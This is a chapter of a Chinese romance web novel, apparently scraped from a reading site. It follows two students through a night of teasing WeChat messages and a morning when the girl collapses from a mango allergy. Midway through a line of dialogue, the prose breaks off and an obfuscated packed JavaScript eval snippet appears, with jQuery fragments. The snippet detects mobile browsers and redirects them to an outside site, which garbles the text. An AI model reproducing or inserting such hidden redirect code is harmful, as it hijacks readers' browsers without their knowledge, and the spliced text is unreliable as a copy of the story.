*
凌晨三点半。
万籁俱寂的夜。
林星泽的这条消息显眼又突兀，打了时念一个措手不及。
乃至一时间不晓得该做出怎样的反应。
好在他紧接着又发：【衣柜第三层有全新的床单和被褥】
【洗漱用具给你放卫生间了】
最后一条转账提示。
他给她发了200元，备注【来回车费】
意思是……
他还打算和她一起回A市。
时念抿抿唇，暂时没收，慢腾腾走到卫生间洗漱。出来的时候，碰巧手机又亮了一亮。
她躬身捞起来，慢慢坐到床边看。
L：【你人呢】
“……”时念默，一脸迷茫点进去。
正要回时却发现头像不对。
停两秒反应过来。
她貌似忘记给梁砚礼回消息了。
看着屏幕左侧一连串的未接来电加连续问号，时念紧着头皮，赶紧小心翼翼地点去回拨。
仅用一秒就接通。
时念刚“喂”一声。
电话便被人毫不留情地掐断。
时念眨眨眼，缓缓把手机挪到面前，看着满格的信号，不死心又打过去。
这回照样。
第三次再打。
他继续挂。
“……”
第四次，时念她不干了，摁灭手机打算躺平睡觉，结果对方巴巴又弹出来个：【？】
问号他个大头鬼。
自己不接电话还想怎样。
时念现在是半点不想搭理梁砚礼。
随手就开了静音，扔手机到枕头旁边，任凭其嗡嗡震响，也坚决不看。
两分钟后。
对面彻底消停。
时念困意来袭，安详阖上眼。
半梦半醒之际，忽听枕边手机再一次震响。
脾气顷刻间上头，时念恶狠狠地磨了磨牙，手肘后支，半撑起身子靠在床边，怒气冲冲点进对话框，噼里啪啦开始敲字：【冷暴力滚开】
打完，径直发出去。
一股无名火充斥心口，她深吸气平复好心情，茫然盯着远处未知的某点出神许久，才缓慢敛了思绪。
低头，重新看向亮起的屏幕。
瞬间傻眼。
时念指尖慌慌张张长按，想撤回。
显然没来得及。
L：【？】
L：【你打算滚哪儿去】
“……”黑暗中光线刺目，纯色头像伴着左边长段的白色气泡框，明晃晃倒映入眼。
时念顿时清醒。
她没有立马回复林星泽，而是，转手先给他改了个备注。
网络上，时念没有给人备注的习惯。
之前梁砚礼那个“L”，还是他自己要求。
作为十七岁的生日愿望。
那是时念转学到北辰的第一个周末，他特意从江川追来北辰，只为请她吃一块蛋糕。
就约在学校附近的火锅店。
时念垂眸，指尖轻碰键盘，一个字母一个字母地打下了他姓名缩写。
输入法显示出“林星泽”的字样。
时念刚弄上去，手机置顶便赫然出现一条最新提示：“林星泽向您发来一条微信消息”。
“……”
如带魔力的几个字，不禁令她静了静。
此时，静谧狭小的空间里。
女孩还没有换衣服。
那人特有的气息还隐约残存，环绕在身边。
非常好闻的雪后青松味道，混杂一丝微不可察的辛辣，烟草气味浅淡又凛冽。
时念沉默盯着他发来的文字看了半晌，终于想起来解释：【我没说你】。
林星泽：【？】
他发来语音：“时念，你挺会倒打一耙啊。”
腔调慵懒且散漫，尾音就跟带了小钩，轻轻地，朝时念心口挠了那么一下。
就一下。
时念：【没有】
林星泽：【没有什么没有】
时念：没有倒打一耙……
感觉在说废话。
她又果断把那一行字给删了。
准备从头编辑。
林星泽却岔开话题，问：【为什么不收钱？】
时念：【说了请你】
林星泽：【不用】
林星泽：【你对我又没意思，请我做什么】
“……”
左右犟不过他，时念索性也不打算推脱了，老实：【那你也给多了】
她把付款订单截图发给他。
两个人的单程车票，一共148.9。
换算下来，就是他往返的价。
林星泽事儿多：【至于么，连小数点都算】
时念较真：【当然啊，咱两又没啥关系】
“……”
时念：【而且】
她补充：【钱不好赚的】
“……”
林星泽仿佛也懒得再和她纠结：【那你收了，多余给我转回来】
时念想了想：【也行】
摁下收款，她回到转账界面，没怎么过脑子，口算了一下，输入金额后发出去。
林星泽：【？】
时念搞不懂。
怎么男生们一个两个的，都爱发问号。
很威风吗？
看着就跟挑衅没什么区别。
于是，她也礼尚往来，跟了一个：【？】
下一秒，林星泽直接给她拨了电话。
时念接了：“干什……”
“你暗恋我啊？”他开门见山。
“……”一口气提到嗓子眼，时念用力攥紧了手机：“林星泽你他……”
终究是忍住了。
他在那边笑，笑声低低沉沉。
“笑什么……”时念不理解：“一天天有什么好笑的……”
“我让你给我转钱——”林星泽低磁性感的嗓音顺着电流滤出，调子刻意拖得很长，独具一番特色：“你给我转个52.1是几个意思？”
“我爱你啊？”
他嗓音含笑，迅速将暧昧的三字一带而过，乍一听，倒是挺符合他平时吊儿郎当的性子。
但如果肯静心下来细琢磨，就能发现，他说这话时语气虽急，底色却难得认真，根本不是在开玩笑，更像一种脱口而出的正式告白。
可惜时念此时心如乱麻。
呼吸紊乱，她指节用力到泛白，愣是久久没能回神。
“怎么不说话？”
“时念。”
“别告诉我，那个赌，我已经赢了。”
“……”
林星泽最后一句提醒了时念。
她猛地回忆起他们立下的约定。
“没有。”她低着眼，轻声道：“算错了。”
“算错了？”
“嗯。”
她重新给他又发了一份。
“你放心，我绝对没有喜欢你。”额外补充。
“……”
林星泽半晌没说话。
一墙之隔，少年背靠两间房屋相连的墙角，头稍稍向上仰了点，像是在看天花板，可那眼神却是空的。
烈风吹动门窗，清冷的月色随即散落入室，照到他侧脸，至地面，拉扯出一道锋利优美的轮廓线条。
房间没开灯。
半明半暗，他一大半的身形隐于阴影下。
表情生涩晦暗。
“时念。”他嗤声喊她的名字，自嘲般扯唇，笑了下：“你可真诚实啊。”
“嗯……”
“林星泽。”时念只当没听出来他话中的阴阳怪气：“我从不撒谎。”
“……”
-
和衣而眠，休息了六个多小时。
时念睡醒后，从里到外，又把卧室和洗手间收拾了一遍，恢复成原先的样子。
整理得差不多，再看手机。
已经快九点。
开门去丢垃圾。
刚好，碰见林星泽沉着脸从房里走出来。
时念要去靠里侧的露台，而他看样子，去的应该是厨房方向。
走廊门边，最外侧。
两人迎面撞上。
时念弯起唇角，礼貌性颔首，道：“早啊。”
结果他理都没理，视线不紧不慢瞥了眼她手上虚虚提着的一大包东西，转身就拐了进屋。
“……”时念来气了。
扔完垃圾回来。
时念进门背了包就走。
她低着头，路过小厨房时脚步不带停，半点没要和他打招呼告辞的意思。
“站那儿。”
林星泽突然开了口。
时念停步，狐疑回过头。
林星泽端了份早餐走出来，下巴朝自己房间一抬：“进去。”
“？”
时念眼神奇怪：“你还有事儿？”
“废什么话。”他改单手端盘，另一只手勾了她的书包肩带，拎着人往里走。
直到压着时念顺从坐进沙发。
“这就走了？”林星泽把餐盘磕到她面前小几上，整个人则随意蹲身，屈腿坐到地上，声音暗藏不爽：“没良心。”
“到底谁说的陪我啊？”他悠悠抬眸，明显还记恨着她拐他来江川，却没兑现承诺的事儿。
“……”
时念：“那，你不是不理我么？”
林星泽闻言，扬了扬眉：“不是你昨晚冷暴力我的时候了？”
“……”
没得聊了。
“行了，别瞪人了，”林星泽把餐盘往她手边推了推：“快吃，吃完走。”
时念目光复杂，看着碟里卖相很好的寿司和果汁，问得直接：“你什么时候买的。”
“怎么？”
“我记得冰箱没这个啊。”
林星泽缓缓看她一眼：“大概五点多点的外卖，六点拿上来，刚拿微波炉热了下。”
“……”
时念无语：“你跟我说这些干嘛？”
“你不是在问？”
“我那个意思是问你怎么想起来……”她叹了口气：“唉，好吧。”
“好什么。”
“对不起，是我没表述清，”时念好脾气：“但我也没让你说这么细啊。”
“哦。”林星泽不以为意：“这不是，怕你觉得我又在故意冷落你么。”
“……”
他们绕不过去这个话题了。
看着那个量，时念又问：“那，你不吃吗？”
“吃过了。”林星泽语气恶劣：“别想太多，纯粹是点多吃不完，扔了浪费，你不用给钱。”
“哦，好吧。”
时念没再抗拒：“那谢谢你啊。”
“……”他似有若无一嗤。
时念吃东西时很专注，安安静静地坐在那儿小口进食。
一点儿也不吵人。
反而有种难以形容的乖巧。
林星泽知她的性子，也不打扰，干脆探身去电视柜那儿翻了个纸盒出来，扯着拖到手边。
里面全是些老式影碟。
时念的注意力被吸引，偏头瞅了一眼。
林星泽余光察觉到：“怎么，你想看？”
“不想看。”时念低头咬着寿司，收回视线。
林星泽没抬头：“不是说从来不说谎么？”
“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16448142|185188||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
……”时念咀嚼的动作一顿，侧首。
他同时偏了点头：“嗯？”
“……”
时念迟钝地咽下嘴巴中的食物。
“我没看过恐怖片。”她摇摇头，说：“其实我家以前也有很多这种DVD。”
“只不过，没你手里这些片子。”
当年时初远还在世时，也曾花钱买过不少文艺影片，经常带着时念一起看。
其他类型的倒是少见。
林星泽没多诧异：“那你都看些什么？”
“爱情片？”他随口猜。
时念思考了会儿，诚实：“嗯，也算吧。”
“和谁看的？”
林星泽刨根问底，哼声：“梁砚礼么？”
“不是他，”时念不小心咬了下舌头：“是和我爸爸。”
时初远对光碟感兴趣，之前时念小时候每年过生日的庆贺视频，听说就是由他自录自刻的。
可惜年份久远，有几张不知怎地蹭上了划痕。
时念琢磨，大概就是和郑今离婚那段时间，二人吵架摔东西不小心弄到的。
她想修，也找过几家电子修理铺。
但因为都已经是时代淘汰品，懂行的人实在太少，所以一直求助无门。
没忍住，时念趁机多嘴问了句：“这种碟——”
“要是损坏，里面数据还能找回吗？”
“得看是什么原因。”
“划痕呢？”
“只要没到染料层，应该没大事。”
“那你会修吗？”
林星泽停下来：“怎么。”
“如果你会的话。”时念语露期待：“可以帮我修一张吗？”
“我给你钱。”她说。
林星泽淡笑：“除了钱呢？”
“……什么？”
他突然欺身逼近：“有没有别的能换的？”
“……”
“比如——”
林星泽垂眸，食指屈起勾了时念的下巴，牵引她脖颈高抬，拇指指腹按上她唇瓣，一下下蹭，姿态玩味又散漫，面不改色地接了话。
“让我亲你一下？”
“……”
时念屏住呼吸，不自主地仰面，定定看着他眼眸聚焦，靠得越来越近。
却没有躲。
只有折弯的指骨将她的内心出卖。
林星泽好整以暇观察着她的表现。
非常确定，她是在紧张。
呼吸缠绕交织。
在嘴唇即将碰到的前一秒，偏过头。
“算了。”笑声从喉咙里往外溢，他说：“强扭的瓜不甜，我还是要钱吧。”
“……”
时念头回见这么坏的人。
他就是在戏弄她，以逗得她脸红狼狈为乐。
可时念不在乎这些：“那我回去找找，到时候再拿给你看？”
林星泽瞥她，不吝夸奖道：“你倒挺会忍辱负重。”
“……那你到底帮不帮？”
“我说不帮了吗？”他淡笑。
“那……”
“等回学校再给我，路上我可不想背包。”
“……好。”
“不过先说好啊。”林星泽撤开了距离，靠回去，侧着头笑：“能修就修，修不好你可别给我闹脾气。”
“知道。”
“话说里面有什么？”林星泽挑眉：“能让你在意成这样。”
“那是我爸爸最后一次给我的生日礼物。”
“最后一次？”林星泽收笑。
“嗯，”时念声线平稳：“他去世了。”
口腔后知后觉漫出铁锈滋味。
时念皱起眉。
见状，林星泽也识趣噤言，没再追问。
失魂落魄的时念仰头，端起果汁灌下，两秒后呛住，然后开始剧烈地咳嗽。
林星泽忙抽了纸巾递给她：“喝慢点啊。”
“这……”时念喘息加重，不可思议地问：“是芒果汁？”
“嗯，怎……”
“时念！”
林星泽瞳孔骤缩。
滑落到地的女孩却再也说不出话，裸露在外的皮肤旋即泛起细密红斑。
半身蜷缩。
只剩急促的呼吸。
……
林星泽是一路抱着时念下楼冲进的救护车。
县城急诊。
林星泽站在病床外，有些懊恼。
大清早。医院还没什么人。
等候区的座位空出一大片，但林星泽就跟没看见似的，直挺挺立在门边。
没多久，护士终于走出来。
林星泽迎上前询问，听到说只是过敏引起的休克反应，没大碍后，紧绷的神经才得以松懈。
下楼交钱，再上楼。
他兵荒马乱。
指尖不受控地发颤。
林星泽不知道时念对芒果过敏。
但他却知晓生命的脆弱。
生死别离的感觉不大美妙。
而那些，他自认为忘却的痛苦与感知，都在时念晕倒霎那，再一次地，尽数袭卷而至。
以至于他不得不承认——
无论出于自责也好，亦或愧疚也罢。
或许。
时念在他心里的地位远比他想象得更重。
感情砝码在不知不觉中倒戈。
可能连林星泽自己都没能察觉，其实他和时念的关系，正是从这一刻，产生了真正的失衡。
即便他再怎么不愿相信。
败局，也早已注定。
其中道理更是他后来花了很多年才明白——
玩火者以身入局赌人心。
必自焚。